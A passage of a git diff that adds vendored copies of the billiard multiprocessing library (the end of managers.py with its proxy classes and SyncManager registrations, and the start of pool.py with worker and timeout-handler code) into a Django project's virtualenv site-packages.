spawned) + ''' + if self._process is not None: + self._process.join(timeout) + if not self._process.is_alive(): + self._process = None + + def _debug_info(self): + ''' + Return some info about the servers shared objects and connections + ''' + conn = self._Client(self._address, authkey=self._authkey) + try: + return dispatch(conn, None, 'debug_info') + finally: + conn.close() + + def _number_of_objects(self): + ''' + Return the number of shared objects + ''' + conn = self._Client(self._address, authkey=self._authkey) + try: + return dispatch(conn, None, 'number_of_objects') + finally: + conn.close() + + def __enter__(self): + if self._state.value == State.INITIAL: + self.start() + assert self._state.value == State.STARTED + return self + + def __exit__(self, exc_type, exc_val, exc_tb): + self.shutdown() + + @staticmethod + def _finalize_manager(process, address, authkey, state, _Client): + ''' + Shutdown the manager process; will be registered as a finalizer + ''' + if process.is_alive(): + util.info('sending shutdown message to manager') + try: + conn = _Client(address, authkey=authkey) + try: + dispatch(conn, None, 'shutdown') + finally: + conn.close() + except Exception: + pass + + process.join(timeout=1.0) + if process.is_alive(): + util.info('manager still alive') + if hasattr(process, 'terminate'): + util.info('trying to `terminate()` manager process') + process.terminate() + process.join(timeout=0.1) + if process.is_alive(): + util.info('manager still alive after terminate') + + state.value = State.SHUTDOWN + try: + del BaseProxy._address_to_local[address] + except KeyError: + pass + + address = property(lambda self: self._address) + + @classmethod + def register(cls, typeid, callable=None, proxytype=None, exposed=None, + method_to_typeid=None, create_method=True): + ''' + Register a typeid with the manager type + ''' + if '_registry' not in cls.__dict__: + cls._registry = cls._registry.copy() + + if proxytype is None: + proxytype = AutoProxy + + exposed = exposed or getattr(proxytype, '_exposed_', None) + + method_to_typeid = ( + method_to_typeid or + getattr(proxytype, '_method_to_typeid_', None) + ) + + if method_to_typeid: + for key, value in items(method_to_typeid): + assert type(key) is str, '%r is not a string' % key + assert type(value) is str, '%r is not a string' % value + + cls._registry[typeid] = ( + callable, exposed, method_to_typeid, proxytype + ) + + if create_method: + def temp(self, *args, **kwds): + util.debug('requesting creation of a shared %r object', typeid) + token, exp = self._create(typeid, *args, **kwds) + proxy = proxytype( + token, self._serializer, manager=self, + authkey=self._authkey, exposed=exp + ) + conn = self._Client(token.address, authkey=self._authkey) + dispatch(conn, None, 'decref', (token.id,)) + return proxy + temp.__name__ = typeid + setattr(cls, typeid, temp) + +# +# Subclass of set which get cleared after a fork +# + + +class ProcessLocalSet(set): + + def __init__(self): + util.register_after_fork(self, lambda obj: obj.clear()) + + def __reduce__(self): + return type(self), () + +# +# Definition of BaseProxy +# + + +class BaseProxy(object): + ''' + A base for proxies of shared objects + ''' + _address_to_local = {} + _mutex = util.ForkAwareThreadLock() + + def __init__(self, token, serializer, manager=None, + authkey=None, exposed=None, incref=True): + with BaseProxy._mutex: + tls_idset = BaseProxy._address_to_local.get(token.address, None) + if tls_idset is None: + tls_idset = util.ForkAwareLocal(), ProcessLocalSet() + BaseProxy._address_to_local[token.address] = tls_idset + + # self._tls is used to record the connection used by this + # thread to communicate with the manager at token.address + self._tls = tls_idset[0] + + # self._idset is used to record the identities of all shared + # objects for which the current process owns references and + # which are in the manager at token.address + self._idset = tls_idset[1] + + self._token = token + self._id = self._token.id + self._manager = manager + self._serializer = serializer + self._Client = listener_client[serializer][1] + + if authkey is not None: + self._authkey = process.AuthenticationString(authkey) + elif self._manager is not None: + self._authkey = self._manager._authkey + else: + self._authkey = process.current_process().authkey + + if incref: + self._incref() + + util.register_after_fork(self, BaseProxy._after_fork) + + def _connect(self): + util.debug('making connection to manager') + name = process.current_process().name + if threading.current_thread().name != 'MainThread': + name += '|' + threading.current_thread().name + conn = self._Client(self._token.address, authkey=self._authkey) + dispatch(conn, None, 'accept_connection', (name,)) + self._tls.connection = conn + + def _callmethod(self, methodname, args=(), kwds={}): + ''' + Try to call a method of the referrent and return a copy of the result + ''' + try: + conn = self._tls.connection + except AttributeError: + util.debug('thread %r does not own a connection', + threading.current_thread().name) + self._connect() + conn = self._tls.connection + + conn.send((self._id, methodname, args, kwds)) + kind, result = conn.recv() + + if kind == '#RETURN': + return result + elif kind == '#PROXY': + exposed, token = result + proxytype = self._manager._registry[token.typeid][-1] + token.address = self._token.address + proxy = proxytype( + token, self._serializer, manager=self._manager, + authkey=self._authkey, exposed=exposed + ) + conn = self._Client(token.address, authkey=self._authkey) + dispatch(conn, None, 'decref', (token.id,)) + return proxy + raise convert_to_error(kind, result) + + def _getvalue(self): + ''' + Get a copy of the value of the referent + ''' + return self._callmethod('#GETVALUE') + + def _incref(self): + conn = self._Client(self._token.address, authkey=self._authkey) + dispatch(conn, None, 'incref', (self._id,)) + util.debug('INCREF %r', self._token.id) + + self._idset.add(self._id) + + state = self._manager and self._manager._state + + self._close = util.Finalize( + self, BaseProxy._decref, + args=(self._token, self._authkey, state, + self._tls, self._idset, self._Client), + exitpriority=10 + ) + + @staticmethod + def _decref(token, authkey, state, tls, idset, _Client): + idset.discard(token.id) + + # check whether manager is still alive + if state is None or state.value == State.STARTED: + # tell manager this process no longer cares about referent + try: + util.debug('DECREF %r', token.id) + conn = _Client(token.address, authkey=authkey) + dispatch(conn, None, 'decref', (token.id,)) + except Exception as exc: + util.debug('... decref failed %s', exc) + + else: + util.debug('DECREF %r -- manager already shutdown', token.id) + + # check whether we can close this thread's connection because + # the process owns no more references to objects for this manager + if not idset and hasattr(tls, 'connection'): + util.debug('thread %r has no more proxies so closing conn', + threading.current_thread().name) + tls.connection.close() + del tls.connection + + def _after_fork(self): + self._manager = None + try: + self._incref() + except Exception as exc: + # the proxy may just be for a manager which has shutdown + util.info('incref failed: %s', exc) + + def __reduce__(self): + kwds = {} + if context.get_spawning_popen() is not None: + kwds['authkey'] = self._authkey + + if getattr(self, '_isauto', False): + kwds['exposed'] = self._exposed_ + return (RebuildProxy, + (AutoProxy, self._token, self._serializer, kwds)) + else: + return (RebuildProxy, + (type(self), self._token, self._serializer, kwds)) + + def __deepcopy__(self, memo): + return self._getvalue() + + def __repr__(self): + return '<%s object, typeid %r at %#x>' % \ + (type(self).__name__, self._token.typeid, id(self)) + + def __str__(self): + ''' + Return representation of the referent (or a fall-back if that fails) + ''' + try: + return self._callmethod('__repr__') + except Exception: + return repr(self)[:-1] + "; '__str__()' failed>" + +# +# Function used for unpickling +# + + +def RebuildProxy(func, token, serializer, kwds): + ''' + Function used for unpickling proxy objects. + + If possible the shared object is returned, or otherwise a proxy for it. + ''' + server = getattr(process.current_process(), '_manager_server', None) + + if server and server.address == token.address: + return server.id_to_obj[token.id][0] + else: + incref = ( + kwds.pop('incref', True) and + not getattr(process.current_process(), '_inheriting', False) + ) + return func(token, serializer, incref=incref, **kwds) + +# +# Functions to create proxies and proxy types +# + + +def MakeProxyType(name, exposed, _cache={}): + ''' + Return an proxy type whose methods are given by `exposed` + ''' + exposed = tuple(exposed) + try: + return _cache[(name, exposed)] + except KeyError: + pass + + dic = {} + + for meth in exposed: + exec('''def %s(self, *args, **kwds): + return self._callmethod(%r, args, kwds)''' % (meth, meth), dic) + + ProxyType = type(name, (BaseProxy,), dic) + ProxyType._exposed_ = exposed + _cache[(name, exposed)] = ProxyType + return ProxyType + + +def AutoProxy(token, serializer, manager=None, authkey=None, + exposed=None, incref=True): + ''' + Return an auto-proxy for `token` + ''' + _Client = listener_client[serializer][1] + + if exposed is None: + conn = _Client(token.address, authkey=authkey) + try: + exposed = dispatch(conn, None, 'get_methods', (token,)) + finally: + conn.close() + + if authkey is None and manager is not None: + authkey = manager._authkey + if authkey is None: + authkey = process.current_process().authkey + + ProxyType = MakeProxyType('AutoProxy[%s]' % token.typeid, exposed) + proxy = ProxyType(token, serializer, manager=manager, authkey=authkey, + incref=incref) + proxy._isauto = True + return proxy + +# +# Types/callables which we will register with SyncManager +# + + +class Namespace(object): + + def __init__(self, **kwds): + self.__dict__.update(kwds) + + def __repr__(self): + items = list(self.__dict__.items()) + temp = [] + for name, value in items: + if not name.startswith('_'): + temp.append('%s=%r' % (name, value)) + temp.sort() + return '%s(%s)' % (self.__class__.__name__, ', '.join(temp)) + + +class Value(object): + + def __init__(self, typecode, value, lock=True): + self._typecode = typecode + self._value = value + + def get(self): + return self._value + + def set(self, value): + self._value = value + + def __repr__(self): + return '%s(%r, %r)' % (type(self).__name__, + self._typecode, self._value) + value = property(get, set) + + +def Array(typecode, sequence, lock=True): + return array.array(typecode, sequence) + +# +# Proxy types used by SyncManager +# + + +class IteratorProxy(BaseProxy): + if sys.version_info[0] == 3: + _exposed = ('__next__', 'send', 'throw', 'close') + else: + _exposed_ = ('__next__', 'next', 'send', 'throw', 'close') + + def next(self, *args): + return self._callmethod('next', args) + + def __iter__(self): + return self + + def __next__(self, *args): + return self._callmethod('__next__', args) + + def send(self, *args): + return self._callmethod('send', args) + + def throw(self, *args): + return self._callmethod('throw', args) + + def close(self, *args): + return self._callmethod('close', args) + + +class AcquirerProxy(BaseProxy): + _exposed_ = ('acquire', 'release') + + def acquire(self, blocking=True, timeout=None): + args = (blocking, ) if timeout is None else (blocking, timeout) + return self._callmethod('acquire', args) + + def release(self): + return self._callmethod('release') + + def __enter__(self): + return self._callmethod('acquire') + + def __exit__(self, exc_type, exc_val, exc_tb): + return self._callmethod('release') + + +class ConditionProxy(AcquirerProxy): + _exposed_ = ('acquire', 'release', 'wait', 'notify', 'notify_all') + + def wait(self, timeout=None): + return self._callmethod('wait', (timeout,)) + + def notify(self): + return self._callmethod('notify') + + def notify_all(self): + return self._callmethod('notify_all') + + def wait_for(self, predicate, timeout=None): + result = predicate() + if result: + return result + if timeout is not None: + endtime = monotonic() + timeout + else: + endtime = None + waittime = None + while not result: + if endtime is not None: + waittime = endtime - monotonic() + if waittime <= 0: + break + self.wait(waittime) + result = predicate() + return result + + +class EventProxy(BaseProxy): + _exposed_ = ('is_set', 'set', 'clear', 'wait') + + def is_set(self): + return self._callmethod('is_set') + + def set(self): + return self._callmethod('set') + + def clear(self): + return self._callmethod('clear') + + def wait(self, timeout=None): + return self._callmethod('wait', (timeout,)) + + +class BarrierProxy(BaseProxy): + _exposed_ = ('__getattribute__', 'wait', 'abort', 'reset') + + def wait(self, timeout=None): + return self._callmethod('wait', (timeout, )) + + def abort(self): + return self._callmethod('abort') + + def reset(self): + return self._callmethod('reset') + + @property + def parties(self): + return self._callmethod('__getattribute__', ('parties', )) + + @property + def n_waiting(self): + return self._callmethod('__getattribute__', ('n_waiting', )) + + @property + def broken(self): + return self._callmethod('__getattribute__', ('broken', )) + + +class NamespaceProxy(BaseProxy): + _exposed_ = ('__getattribute__', '__setattr__', '__delattr__') + + def __getattr__(self, key): + if key[0] == '_': + return object.__getattribute__(self, key) + callmethod = object.__getattribute__(self, '_callmethod') + return callmethod('__getattribute__', (key,)) + + def __setattr__(self, key, value): + if key[0] == '_': + return object.__setattr__(self, key, value) + callmethod = object.__getattribute__(self, '_callmethod') + return callmethod('__setattr__', (key, value)) + + def __delattr__(self, key): + if key[0] == '_': + return object.__delattr__(self, key) + callmethod = object.__getattribute__(self, '_callmethod') + return callmethod('__delattr__', (key,)) + + +class ValueProxy(BaseProxy): + _exposed_ = ('get', 'set') + + def get(self): + return self._callmethod('get') + + def set(self, value): + return self._callmethod('set', (value,)) + value = property(get, set) + + +_ListProxy_Attributes = ( + '__add__', '__contains__', '__delitem__', '__getitem__', '__len__', + '__mul__', '__reversed__', '__rmul__', '__setitem__', + 'append', 'count', 'extend', 'index', 'insert', 'pop', 'remove', + 'reverse', 'sort', '__imul__', +) +if not PY3: + _ListProxy_Attributes += ('__getslice__', '__setslice__', '__delslice__') +BaseListProxy = MakeProxyType('BaseListProxy', _ListProxy_Attributes) + + +class ListProxy(BaseListProxy): + + def __iadd__(self, value): + self._callmethod('extend', (value,)) + return self + + def __imul__(self, value): + self._callmethod('__imul__', (value,)) + return self + + +DictProxy = MakeProxyType('DictProxy', ( + '__contains__', '__delitem__', '__getitem__', '__len__', + '__setitem__', 'clear', 'copy', 'get', 'has_key', 'items', + 'keys', 'pop', 'popitem', 'setdefault', 'update', 'values', +)) + + +_ArrayProxy_Attributes = ( + '__len__', '__getitem__', '__setitem__', +) +if not PY3: + _ArrayProxy_Attributes += ('__getslice__', '__setslice__') +ArrayProxy = MakeProxyType('ArrayProxy', _ArrayProxy_Attributes) + + +BasePoolProxy = MakeProxyType('PoolProxy', ( + 'apply', 'apply_async', 'close', 'imap', 'imap_unordered', 'join', + 'map', 'map_async', 'starmap', 'starmap_async', 'terminate', +)) +BasePoolProxy._method_to_typeid_ = { + 'apply_async': 'AsyncResult', + 'map_async': 'AsyncResult', + 'starmap_async': 'AsyncResult', + 'imap': 'Iterator', + 'imap_unordered': 'Iterator', +} + + +class PoolProxy(BasePoolProxy): + def __enter__(self): + return self + + def __exit__(self, *exc_info): + self.terminate() + + +# +# Definition of SyncManager +# + + +class SyncManager(BaseManager): + ''' + Subclass of `BaseManager` which supports a number of shared object types. + + The types registered are those intended for the synchronization + of threads, plus `dict`, `list` and `Namespace`. + + The `billiard.Manager()` function creates started instances of + this class. + ''' + +SyncManager.register('Queue', Queue) +SyncManager.register('JoinableQueue', Queue) +SyncManager.register('Event', threading.Event, EventProxy) +SyncManager.register('Lock', threading.Lock, AcquirerProxy) +SyncManager.register('RLock', threading.RLock, AcquirerProxy) +SyncManager.register('Semaphore', threading.Semaphore, AcquirerProxy) +SyncManager.register('BoundedSemaphore', threading.BoundedSemaphore, + AcquirerProxy) +SyncManager.register('Condition', threading.Condition, ConditionProxy) +if hasattr(threading, 'Barrier'): # PY3 + SyncManager.register('Barrier', threading.Barrier, BarrierProxy) +SyncManager.register('Pool', pool.Pool, PoolProxy) +SyncManager.register('list', list, ListProxy) +SyncManager.register('dict', dict, DictProxy) +SyncManager.register('Value', Value, ValueProxy) +SyncManager.register('Array', Array, ArrayProxy) +SyncManager.register('Namespace', Namespace, NamespaceProxy) + +# types returned by methods of PoolProxy +SyncManager.register('Iterator', proxytype=IteratorProxy, create_method=False) +SyncManager.register('AsyncResult', create_method=False) diff --git a/django_lottopy/lib/python3.10/site-packages/billiard/pool.py b/django_lottopy/lib/python3.10/site-packages/billiard/pool.py new file mode 100644 index 00000000..597c765b --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/billiard/pool.py @@ -0,0 +1,2055 @@ +# -*- coding: utf-8 -*- +# +# Module providing the `Pool` class for managing a process pool +# +# multiprocessing/pool.py +# +# Copyright (c) 2006-2008, R Oudkerk +# Licensed to PSF under a Contributor Agreement. +# +from __future__ import absolute_import + +# +# Imports +# +import copy +import errno +import itertools +import os +import platform +import signal +import sys +import threading +import time +import warnings + +from collections import deque +from functools import partial + +from . import cpu_count, get_context +from . import util +from .common import ( + TERM_SIGNAL, human_status, pickle_loads, reset_signals, restart_state, +) +from .compat import get_errno, mem_rss, send_offset +from .einfo import ExceptionInfo +from .dummy import DummyProcess +from .exceptions import ( + CoroStop, + RestartFreqExceeded, + SoftTimeLimitExceeded, + Terminated, + TimeLimitExceeded, + TimeoutError, + WorkerLostError, +) +from .five import Empty, Queue, range, values, reraise, monotonic +from .util import Finalize, debug, warning + +MAXMEM_USED_FMT = """\ +child process exiting after exceeding memory limit ({0}KiB / {1}KiB) +""" + +PY3 = sys.version_info[0] == 3 + +if platform.system() == 'Windows': # pragma: no cover + # On Windows os.kill calls TerminateProcess which cannot be + # handled by # any process, so this is needed to terminate the task + # *and its children* (if any). + from ._win import kill_processtree as _kill # noqa + SIGKILL = TERM_SIGNAL +else: + from os import kill as _kill # noqa + SIGKILL = signal.SIGKILL + + +try: + TIMEOUT_MAX = threading.TIMEOUT_MAX +except AttributeError: # pragma: no cover + TIMEOUT_MAX = 1e10 # noqa + + +if sys.version_info >= (3, 3): + _Semaphore = threading.Semaphore +else: + # Semaphore is a factory function pointing to _Semaphore + _Semaphore = threading._Semaphore # noqa + +# +# Constants representing the state of a pool +# + +RUN = 0 +CLOSE = 1 +TERMINATE = 2 + +# +# Constants representing the state of a job +# + +ACK = 0 +READY = 1 +TASK = 2 +NACK = 3 +DEATH = 4 + +# +# Exit code constants +# +EX_OK = 0 +EX_FAILURE = 1 +EX_RECYCLE = 0x9B + + +# Signal used for soft time limits. +SIG_SOFT_TIMEOUT = getattr(signal, "SIGUSR1", None) + +# +# Miscellaneous +# + +LOST_WORKER_TIMEOUT = 10.0 +EX_OK = getattr(os, "EX_OK", 0) +GUARANTEE_MESSAGE_CONSUMPTION_RETRY_LIMIT = 300 +GUARANTEE_MESSAGE_CONSUMPTION_RETRY_INTERVAL = 0.1 + +job_counter = itertools.count() + +Lock = threading.Lock + + +def _get_send_offset(connection): + try: + native = connection.send_offset + except AttributeError: + native = None + if native is None: + return partial(send_offset, connection.fileno()) + return native + + +def mapstar(args): + return list(map(*args)) + + +def starmapstar(args): + return list(itertools.starmap(args[0], args[1])) + + +def error(msg, *args, **kwargs): + util.get_logger().error(msg, *args, **kwargs) + + +def stop_if_not_current(thread, timeout=None): + if thread is not threading.current_thread(): + thread.stop(timeout) + + +class LaxBoundedSemaphore(_Semaphore): + """Semaphore that checks that # release is <= # acquires, + but ignores if # releases >= value.""" + + def shrink(self): + self._initial_value -= 1 + self.acquire() + + if PY3: + + def __init__(self, value=1, verbose=None): + _Semaphore.__init__(self, value) + self._initial_value = value + + def grow(self): + with self._cond: + self._initial_value += 1 + self._value += 1 + self._cond.notify() + + def release(self): + cond = self._cond + with cond: + if self._value < self._initial_value: + self._value += 1 + cond.notify_all() + + def clear(self): + while self._value < self._initial_value: + _Semaphore.release(self) + else: + + def __init__(self, value=1, verbose=None): + _Semaphore.__init__(self, value, verbose) + self._initial_value = value + + def grow(self): + cond = self._Semaphore__cond + with cond: + self._initial_value += 1 + self._Semaphore__value += 1 + cond.notify() + + def release(self): # noqa + cond = self._Semaphore__cond + with cond: + if self._Semaphore__value < self._initial_value: + self._Semaphore__value += 1 + cond.notifyAll() + + def clear(self): # noqa + while self._Semaphore__value < self._initial_value: + _Semaphore.release(self) + +# +# Exceptions +# + + +class MaybeEncodingError(Exception): + """Wraps possible unpickleable errors, so they can be + safely sent through the socket.""" + + def __init__(self, exc, value): + self.exc = repr(exc) + self.value = repr(value) + super(MaybeEncodingError, self).__init__(self.exc, self.value) + + def __repr__(self): + return "<%s: %s>" % (self.__class__.__name__, str(self)) + + def __str__(self): + return "Error sending result: '%r'. Reason: '%r'." % ( + self.value, self.exc) + + +class WorkersJoined(Exception): + """All workers have terminated.""" + + +def soft_timeout_sighandler(signum, frame): + raise SoftTimeLimitExceeded() + +# +# Code run by worker processes +# + + +class Worker(object): + + def __init__(self, inq, outq, synq=None, initializer=None, initargs=(), + maxtasks=None, sentinel=None, on_exit=None, + sigprotection=True, wrap_exception=True, + max_memory_per_child=None, on_ready_counter=None): + assert maxtasks is None or (type(maxtasks) == int and maxtasks > 0) + self.initializer = initializer + self.initargs = initargs + self.maxtasks = maxtasks + self.max_memory_per_child = max_memory_per_child + self._shutdown = sentinel + self.on_exit = on_exit + self.sigprotection = sigprotection + self.inq, self.outq, self.synq = inq, outq, synq + self.wrap_exception = wrap_exception # XXX cannot disable yet + self.on_ready_counter = on_ready_counter + self.contribute_to_object(self) + + def contribute_to_object(self, obj): + obj.inq, obj.outq, obj.synq = self.inq, self.outq, self.synq + obj.inqW_fd = self.inq._writer.fileno() # inqueue write fd + obj.outqR_fd = self.outq._reader.fileno() # outqueue read fd + if self.synq: + obj.synqR_fd = self.synq._reader.fileno() # synqueue read fd + obj.synqW_fd = self.synq._writer.fileno() # synqueue write fd + obj.send_syn_offset = _get_send_offset(self.synq._writer) + else: + obj.synqR_fd = obj.synqW_fd = obj._send_syn_offset = None + obj._quick_put = self.inq._writer.send + obj._quick_get = self.outq._reader.recv + obj.send_job_offset = _get_send_offset(self.inq._writer) + return obj + + def __reduce__(self): + return self.__class__, ( + self.inq, self.outq, self.synq, self.initializer, + self.initargs, self.maxtasks, self._shutdown, self.on_exit, + self.sigprotection, self.wrap_exception, self.max_memory_per_child, + ) + + def __call__(self): + _exit = sys.exit + _exitcode = [None] + + def exit(status=None): + _exitcode[0] = status + return _exit(status) + sys.exit = exit + + pid = os.getpid() + + self._make_child_methods() + self.after_fork() + self.on_loop_start(pid=pid) # callback on loop start + try: + sys.exit(self.workloop(pid=pid)) + except Exception as exc: + error('Pool process %r error: %r', self, exc, exc_info=1) + self._do_exit(pid, _exitcode[0], exc) + finally: + self._do_exit(pid, _exitcode[0], None) + + def _do_exit(self, pid, exitcode, exc=None): + if exitcode is None: + exitcode = EX_FAILURE if exc else EX_OK + + if self.on_exit is not None: + self.on_exit(pid, exitcode) + + if sys.platform != 'win32': + try: + self.outq.put((DEATH, (pid, exitcode))) + time.sleep(1) + finally: + os._exit(exitcode) + else: + os._exit(exitcode) + + def on_loop_start(self, pid): + pass + + def prepare_result(self, result): + return result + + def workloop(self, debug=debug, now=monotonic, pid=None): + pid = pid or os.getpid() + put = self.outq.put + inqW_fd = self.inqW_fd + synqW_fd = self.synqW_fd + maxtasks = self.maxtasks + max_memory_per_child = self.max_memory_per_child or 0 + prepare_result = self.prepare_result + + wait_for_job = self.wait_for_job + _wait_for_syn = self.wait_for_syn + + def wait_for_syn(jid): + i = 0 + while 1: + if i > 60: + error('!!!WAIT FOR ACK TIMEOUT: job:%r fd:%r!!!', + jid, self.synq._reader.fileno(), exc_info=1) + req = _wait_for_syn() + if req: + type_, args = req + if type_ == NACK: + return False + assert type_ == ACK + return True + i += 1 + + completed = 0 + try: + while maxtasks is None or (maxtasks and completed < maxtasks): + req = wait_for_job() + if req: + type_, args_ = req + assert type_ == TASK + job, i, fun, args, kwargs = args_ + put((ACK, (job, i, now(), pid, synqW_fd))) + if _wait_for_syn: + confirm = wait_for_syn(job) + if not confirm: + continue # received NACK + try: + result = (True, prepare_result(fun(*args, **kwargs))) + except Exception: + result = (False, ExceptionInfo()) + try: + put((READY, (job, i, result, inqW_fd))) + except Exception as exc: + _, _, tb = sys.exc_info() + try: + wrapped = MaybeEncodingError(exc, result[1]) + einfo = ExceptionInfo(( + MaybeEncodingError, wrapped, tb, + )) + put((READY, (job, i, (False, einfo), inqW_fd))) + finally: + del(tb) + completed += 1 + if max_memory_per_child > 0: + used_kb = mem_rss() + if used_kb <= 0: + error('worker unable to determine memory usage') + if used_kb > 0 and used_kb > max_memory_per_child: + warning(MAXMEM_USED_FMT.format( + used_kb, max_memory_per_child)) + return EX_RECYCLE + + debug('worker exiting after %d tasks', completed) + if maxtasks: + return EX_RECYCLE if completed == maxtasks else EX_FAILURE + return EX_OK + finally: + # Before exiting the worker, we want to ensure that that all + # messages produced by the worker have been consumed by the main + # process. This prevents the worker being terminated prematurely + # and messages being lost. + self._ensure_messages_consumed(completed=completed) + + def _ensure_messages_consumed(self, completed): + """ Returns true if all messages sent out have been received and + consumed within a reasonable amount of time """ + + if not self.on_ready_counter: + return False + + for retry in range(GUARANTEE_MESSAGE_CONSUMPTION_RETRY_LIMIT): + if self.on_ready_counter.value >= completed: + debug('ensured messages consumed after %d retries', retry) + return True + time.sleep(GUARANTEE_MESSAGE_CONSUMPTION_RETRY_INTERVAL) + warning('could not ensure all messages were consumed prior to ' + 'exiting') + return False + + def after_fork(self): + if hasattr(self.inq, '_writer'): + self.inq._writer.close() + if hasattr(self.outq, '_reader'): + self.outq._reader.close() + + if self.initializer is not None: + self.initializer(*self.initargs) + + # Make sure all exiting signals call finally: blocks. + # This is important for the semaphore to be released. + reset_signals(full=self.sigprotection) + + # install signal handler for soft timeouts. + if SIG_SOFT_TIMEOUT is not None: + signal.signal(SIG_SOFT_TIMEOUT, soft_timeout_sighandler) + + try: + signal.signal(signal.SIGINT, signal.SIG_IGN) + except AttributeError: + pass + + def _make_recv_method(self, conn): + get = conn.get + + if hasattr(conn, '_reader'): + _poll = conn._reader.poll + if hasattr(conn, 'get_payload') and conn.get_payload: + get_payload = conn.get_payload + + def _recv(timeout, loads=pickle_loads): + return True, loads(get_payload()) + else: + def _recv(timeout): # noqa + if _poll(timeout): + return True, get() + return False, None + else: + def _recv(timeout): # noqa + try: + return True, get(timeout=timeout) + except Queue.Empty: + return False, None + return _recv + + def _make_child_methods(self, loads=pickle_loads): + self.wait_for_job = self._make_protected_receive(self.inq) + self.wait_for_syn = (self._make_protected_receive(self.synq) + if self.synq else None) + + def _make_protected_receive(self, conn): + _receive = self._make_recv_method(conn) + should_shutdown = self._shutdown.is_set if self._shutdown else None + + def receive(debug=debug): + if should_shutdown and should_shutdown(): + debug('worker got sentinel -- exiting') + raise SystemExit(EX_OK) + try: + ready, req = _receive(1.0) + if not ready: + return None + except (EOFError, IOError) as exc: + if get_errno(exc) == errno.EINTR: + return None # interrupted, maybe by gdb + debug('worker got %s -- exiting', type(exc).__name__) + raise SystemExit(EX_FAILURE) + if req is None: + debug('worker got sentinel -- exiting') + raise SystemExit(EX_FAILURE) + return req + + return receive + + +# +# Class representing a process pool +# + + +class PoolThread(DummyProcess): + + def __init__(self, *args, **kwargs): + DummyProcess.__init__(self) + self._state = RUN + self._was_started = False + self.daemon = True + + def run(self): + try: + return self.body() + except RestartFreqExceeded as exc: + error("Thread %r crashed: %r", type(self).__name__, exc, + exc_info=1) + _kill(os.getpid(), TERM_SIGNAL) + sys.exit() + except Exception as exc: + error("Thread %r crashed: %r", type(self).__name__, exc, + exc_info=1) + os._exit(1) + + def start(self, *args, **kwargs): + self._was_started = True + super(PoolThread, self).start(*args, **kwargs) + + def on_stop_not_started(self): + pass + + def stop(self, timeout=None): + if self._was_started: + self.join(timeout) + return + self.on_stop_not_started() + + def terminate(self): + self._state = TERMINATE + + def close(self): + self._state = CLOSE + + +class Supervisor(PoolThread): + + def __init__(self, pool): + self.pool = pool + super(Supervisor, self).__init__() + + def body(self): + debug('worker handler starting') + + time.sleep(0.8) + + pool = self.pool + + try: + # do a burst at startup to verify that we can start + # our pool processes, and in that time we lower + # the max restart frequency. + prev_state = pool.restart_state + pool.restart_state = restart_state(10 * pool._processes, 1) + for _ in range(10): + if self._state == RUN and pool._state == RUN: + pool._maintain_pool() + time.sleep(0.1) + + # Keep maintaing workers until the cache gets drained, unless + # the pool is termianted + pool.restart_state = prev_state + while self._state == RUN and pool._state == RUN: + pool._maintain_pool() + time.sleep(0.8) + except RestartFreqExceeded: + pool.close() + pool.join() + raise + debug('worker handler exiting') + + +class TaskHandler(PoolThread): + + def __init__(self, taskqueue, put, outqueue, pool, cache): + self.taskqueue = taskqueue + self.put = put + self.outqueue = outqueue + self.pool = pool + self.cache = cache + super(TaskHandler, self).__init__() + + def body(self): + cache = self.cache + taskqueue = self.taskqueue + put = self.put + + for taskseq, set_length in iter(taskqueue.get, None): + task = None + i = -1 + try: + for i, task in enumerate(taskseq): + if self._state: + debug('task handler found thread._state != RUN') + break + try: + put(task) + except IOError: + debug('could not put task on queue') + break + except Exception: + job, ind = task[:2] + try: + cache[job]._set(ind, (False, ExceptionInfo())) + except KeyError: + pass + else: + if set_length: + debug('doing set_length()') + set_length(i + 1) + continue + break + except Exception: + job, ind = task[:2] if task else (0, 0) + if job in cache: + cache[job]._set(ind + 1, (False, ExceptionInfo())) + if set_length: + util.debug('doing set_length()') + set_length(i + 1) + else: + debug('task handler got sentinel') + + self.tell_others() + + def tell_others(self): + outqueue = self.outqueue + put = self.put + pool = self.pool + + try: + # tell result handler to finish when cache is empty + debug('task handler sending sentinel to result handler') + outqueue.put(None) + + # tell workers there is no more work + debug('task handler sending sentinel to workers') + for p in pool: + put(None) + except IOError: + debug('task handler got IOError when sending sentinels') + + debug('task handler exiting') + + def on_stop_not_started(self): + self.tell_others() + + +class TimeoutHandler(PoolThread): + + def __init__(self, processes, cache, t_soft, t_hard): + self.processes = processes + self.cache = cache + self.t_soft = t_soft + self.t_hard = t_hard + self._it = None + super(TimeoutHandler, self).__init__() + + def _process_by_pid(self, pid): + return next(( + (proc, i) for i, proc in enumerate(self.processes) + if proc.pid == pid + ), (None, None)) + + def on_soft_timeout(self, job): + debug('soft time limit exceeded for %r', job) + process, _index = self._process_by_pid(job._worker_pid) + if not process: + return + + # Run timeout callback + job.handle_timeout(soft=True) + + try: + _kill(job._worker_pid, SIG_SOFT_TIMEOUT) + except OSError as exc: + if get_errno(exc) != errno.ESRCH: + raise + + def on_hard_timeout(self, job): + if job.ready(): + return + debug('hard time limit exceeded for %r', job) + # Remove from cache and set return value to an exception + try: + raise TimeLimitExceeded(job._timeout) + except TimeLimitExceeded: + job._set(job._job, (False, ExceptionInfo())) + else: # pragma: no cover + pass + + # Remove from _pool + process, _index = self._process_by_pid(job._worker_pid) + + # Run timeout callback + job.handle_timeout(soft=False) + + if process: + self._trywaitkill(process) + + def _trywaitkill(self, worker): + debug('timeout: sending TERM to %s', worker._name) + try: + if os.getpgid(worker.pid) == worker.pid: + debug("worker %s is a group leader. It is safe to kill (SIGTERM) the whole group", worker.pid) + os.killpg(os.getpgid(worker.pid), signal.SIGTERM) + else: + worker.terminate() + except OSError: + pass + else: + if worker._popen.wait(timeout=0.1): + return + debug('timeout: TERM timed-out, now sending KILL to %s', worker._name) + try: + if os.getpgid(worker.pid) == worker.pid: + debug("worker %s is a group leader. It is safe to kill (SIGKILL) the whole group", worker.pid) + os.killpg(os.getpgid(worker.pid), signal.SIGKILL) + else: + _kill(worker.pid, SIGKILL) + except OSError: + pass + + def handle_timeouts(self): + t_hard, t_soft = self.t_hard, self.t_soft + dirty = set() + on_soft_timeout = self.on_soft_timeout + on_hard_timeout = self.on_hard_timeout + + def _timed_out(start, timeout): + if not start or not timeout: + return False + if monotonic() >= start + timeout: + return True + + # Inner-loop + while self._state == RUN: + # Perform a shallow copy before iteration because keys can change. + # A deep copy fails (on shutdown) due to thread.lock objects. + # https://github.com/celery/billiard/issues/260 + cache = copy.copy(self.cache) + + # Remove dirty items not in cache anymore + if dirty: + dirty = set(k for k in dirty if k in cache) + + 